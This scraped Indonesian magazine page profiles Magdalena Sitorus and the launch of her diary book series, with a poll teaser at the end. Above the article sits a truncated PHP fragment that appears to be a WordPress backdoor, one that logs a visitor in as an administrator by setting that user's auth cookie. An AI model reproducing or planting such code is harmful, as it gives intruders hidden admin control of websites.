user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Trending Topic
Magdalena Sitorus, Menulis untuk Menginspirasi

13 Dec 2016


Foto: CIK
 
Konon, menulis adalah suatu cara untuk bicara, berkata, menyapa, dan menyentuh seseorang. Hal itulah yang mendorong Magdalena Sitorus aktif menulis catatan harian hingga menerbitkannya menjadi sebuah buku. Bagi wanita yang saat ini menjabat sebagai Komisioner Komnas Perempuan, menulis cerita sehari-hari menjadi cara untuk memberdayakan diri. Tulisannya itu, menurut Magdalena, tidak hanya menjadi dokumentasi, tapi juga cara untuk menginspirasi wanita lainnya agar lebih mengenali diri sendiri dan lingkungannya.

“Selama ini, saat tertimpa masalah, wanita cenderung membagikannya secara lisan, yang terkadang berujung rumpian. Padahal, bila pergumulan itu diceritakan dalam bentuk tulisan, bisa turut memperkaya rasa kemanusiaan kita,” ujar Magdalena, dalam peluncuran bukunya, akhir November lalu, di Erasmus Huis, Jakarta. Buku yang diterbitkan oleh Jalasutra itu terdiri atas beberapa seri: Semua Ada Waktunya (2012), Daun Putri Malu (2013), Sepatu Emas Buat Inang (2014), dan Kain Cinta Tanpa Batas (2015). 

Advertisement
Lima seri Buku Catatan Harian adalah buah dari pemikiran dan pengamatan Magdalena menjalani kehidupan. Ia mencurahkan segala perasaan mulai dari kesedihan saat suami berpulang, masalah keluarga, spiritual, dunia aktivis, hingga persoalan bangsa. “Saya suka mengamati orang, terlebih lagi bila orang tersebut memiliki pergumulan hidup. Caranya mengatasi masalah bisa menjadi inspirasi, bila ceritanya dituliskan,” jelas Magdalena, yang juga menulis kisah orang lain dalan bukunya itu.

Pergumulan batin ia rasakan pula saat sang suami, Asmara Nababan, berpulang pada tahun 2007. Kepergian Asmara membuat Magdalena sempat terpukul. Namun, ia tak mau terus meratapi kesedihan dan memilih move on dengan cara menulis. “Sejak Asmara meninggal, saya mengubah catatan harian menjadi sebuah surat yang seolah-olah ditujukan untuk dia. Cara itu membuat saya merasa tetap dekat dengan Asmara,” katanya, menerawang.

Peluncuran buku ini juga diramaikan dengan bedah buku, pembacaan tulisan dari ibu-ibu Sekolah Perempuan, dan adopsi buku. Seluruh penjualan buku karya Magdalena akan disumbangkan kepada Pundi Perempuan yang akan digunakan untuk menolong wanita korban kekerasan. Pianis Ananda Sukarlan juga ikut memeriahkan acara, dengan permainan piano beraliran klasik yang apik.

Acara tersebut juga diikuti dengan kampanye online, yang tujuannya mengajak para wanita menuliskan 5 kata yang menggambarkan kisah hidupnya, dengan tagar #PerempuanMenulis. “Semoga peluncuran buku saya bisa menambah jumlah wanita penulis yang saat ini masih berjumlah relatif sedikit,” pungkas Magdalena, penuh harap. (f)


Topic

#WanitaHebat

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?